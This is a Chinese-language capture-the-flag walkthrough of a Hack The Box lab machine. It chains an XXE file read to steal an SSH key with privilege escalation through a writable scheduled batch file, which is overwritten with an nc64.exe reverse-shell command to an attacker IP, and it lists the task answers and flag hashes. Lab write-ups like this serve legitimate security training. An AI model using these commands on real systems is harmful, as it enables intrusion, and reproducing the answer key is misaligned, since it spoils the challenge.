1.端口扫描
nmap -A -Pn -sC 10.129.95.192
2.访问web网站,登录口爆破发现存在弱口令admin:password
3.抓包,发现请求体是XML格式
4.尝试使用XXE漏洞file协议读取文件
DOCTYPE foo [ ]>
<item>&xxe;item>
1.在网页源代码中,发现存在用户名 Daniel
2.假定 Daniel 是真实存在的用户,尝试检索Daniel用户的ssh私钥
DOCTYPE foo [ ]>
<item>&xxe;item>
3.获取到RSA私钥,接下来就使用RSA私钥尝试登录
# 将XXE漏洞获取到的ssh 私钥复制进id_rsa中,并赋400权限
vi id_rsa
chmod 400 id_rsa
ssh -i id_rsa Daniel@10.129.95.192
1.查看当前用户的安全特权
whoami /priv
daniel用户拥有
SeChangeNotifyPrivilege
和SeIncreaseWorkingSetPrivilege
权限,暂无可利用点。
2.查看是否存在敏感文件
在Log-Management文件夹下发现
job.bat
文件
cd Log-Management
dir
type job.bat
job.bat
主要用来清除日志,并且必须是管理员用户才可以执行。并且有一个wevtutil.exe
可执行文件。
# icacls命令,可以对特定文件或文件夹设置访问权限、修改权限、查看权限等操作
icacls job.bat
但是job.bat只能由管理员用户执行,目前是Daniel用户权限,无法利用。
那用户组是否对 job.bat 有其他的操作权限。
从输出可以看出,组BUTLTIN\Users 对 bat.job 文件具有完全控制权限,BUILTIN\Users 组表示所有本地用户,肯定也就包含 Daniel 用户。所以只要能操控bat.job就可以运行我门的反弹shell。
3.检查job.bat文件中提到的wevtutil进程是否正在运行
在job.bat中,wevtutil.exe进程是作为计划任务定期去检索相关信息并执行操作。如何wevtutil.exe进程正在运行的话,我门就可以利用job.bat进行计划任务反弹shell了。
schtasks
4.将nc.exe上传到\Log-Management目录
# 攻击机器开启httpweb
python3 -m http.server 8080
wget http://10.10.14.35:8080/nc64.exe -outfile nc64.exe
dir
5.执行反弹shell
# 攻击机执行监听
ncat -lnvp 4444
我们对该二进制文件job.bat具有完全访问权限,这意味着我们可以修改job.bat文件并插入任何我们构造好的payload。我们可以使用nc64.exe,借此更改.bat文件以生成一个反向shell。
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.35 4444 > C:\Log-Management\job.bat
6.查看root flag
Tags
Web、Injection、Apache、SSH、PHP、Reconnaissance、Scheduled Job Abuse、Weak Credentials、Arbitrary File Upload、XXE Injection、Weak Permissions
译文:Web、注入、Apache、SSH、PHP、侦察、计划任务滥用、弱凭据、任意文件上传、XXE注入、弱权限
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.
译文:生成目标机器,IP 将显示在此处
TASK 1
What version of Apache is running on the target's port 80?
译文:目标 80 端口上运行的Apache哪个版本?
答:2.4.41
TASK 2
What username:password combination logs in successfully?
译文:什么用户名:密码组合登录成功?
答:admin:password
TASK 3
What is the word at the top of the page that accepts user input?
译文:页面顶部接受用户输入的单词是什么?
答:order
TASK 4
What XML version is used on the target?
译文:目标使用什么 XML 版本?
答:1.0
TASK 5
What does the XXE / XEE attack acronym stand for?
译文:XXE / XEE攻击首字母缩略词代表什么?
答:XML External Entity
TASK 6
What username can we find on the webpage's HTML code?
译文:我们可以在网页的 HTML 代码上找到什么用户名?
答:daniel
TASK 7
What is the file located in the Log-Management folder on the target?
译文:目标上的 Log-Management 文件夹中的文件是什么?
答:job.bat
TASK 8
What executable is mentioned in the file mentioned before?
译文:前面提到的文件中提到了什么可执行文件?
答:wevtutil.exe
SUBMIT FLAG
Submit user flag
译文:用户flag
答:032d2fc8952a8c24e39c8f0ee9918ef7
SUBMIT FLAG
Submit root flag
译文:提交root flag
答:f574a3e7650cebd8c39784299cb570f8